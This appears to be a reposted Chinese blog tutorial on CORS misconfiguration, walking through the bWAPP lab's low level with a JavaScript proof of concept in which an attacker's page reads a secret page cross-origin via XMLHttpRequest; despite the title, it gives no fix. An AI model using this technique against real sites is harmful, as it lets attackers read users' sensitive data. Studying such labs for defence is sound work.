php配置cors跨域漏洞怎么修复,CORS跨域漏洞的简单认识
CORS
CORS(Cross-origin resource sharing),又稱跨域資源共享。CORS的內容不敘述,可以閱讀MDN文檔。或者,閱讀這篇文章:跨域資源共享 CORS 詳解,同時還需要了解同源策略。CORS是一種實現ajax跨域加載資源的機制,如果CORS配置不當,就可能出現安全問題。是否存在安全問題,需要關注的響應頭是:Access-Control-Allow-Origin,它確定了可以訪問頁面的來源。
BWAPP的CORS測試
low級別
1、主頁面,點擊 secret 跳轉頁面。
image
2、假設這是用戶的頁面,攻擊者的目的是盜取里面的sercet內容。查看請求這個頁面時的HTTP響應頭,從Access-Control-Allow-Origin頭可以看出服務器配置了CORS," * "表示所有的源服務器都可以加載這個頁面上的資源。既然如此,攻擊者直接發送一個自己構造的頁面鏈接給用戶,用戶點擊后,攻擊頁面使用ajax就可以直接讀取另一個網站的敏感信息。
網站頁面
HTTP響應頭
window.onload = function(){
var xhr =new XMLHttpRequest(); // 創建AJAX的對象
// 設置使用的請求方式
xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true);
xhr.send(); // 發送請求
xhr.onreadystatechange=function(){
if(xhr.readyState === 4 ){ // 狀態 4 表示服務器已響應
// 判斷正常的響應結果的狀態碼
if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
console.log(xhr.responseText); // 獲取響應體內容
}else{
console.log('0');
}
}
}
}
4、用戶點擊這個鏈接,加載test.html頁面,里面的js代碼就會執行,然后發送請求,處理響應結果。可以看到,控制臺輸出的信息就是另一個網站的頁面信息。
攻擊者服務器上的頁面
總結
以上是生活随笔為你收集整理的php配置cors跨域漏洞怎么修复,CORS跨域漏洞的简单认识的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 买美系车还是买日系车,哪个比较安全?
- 下一篇: php调用python pkl_Pyth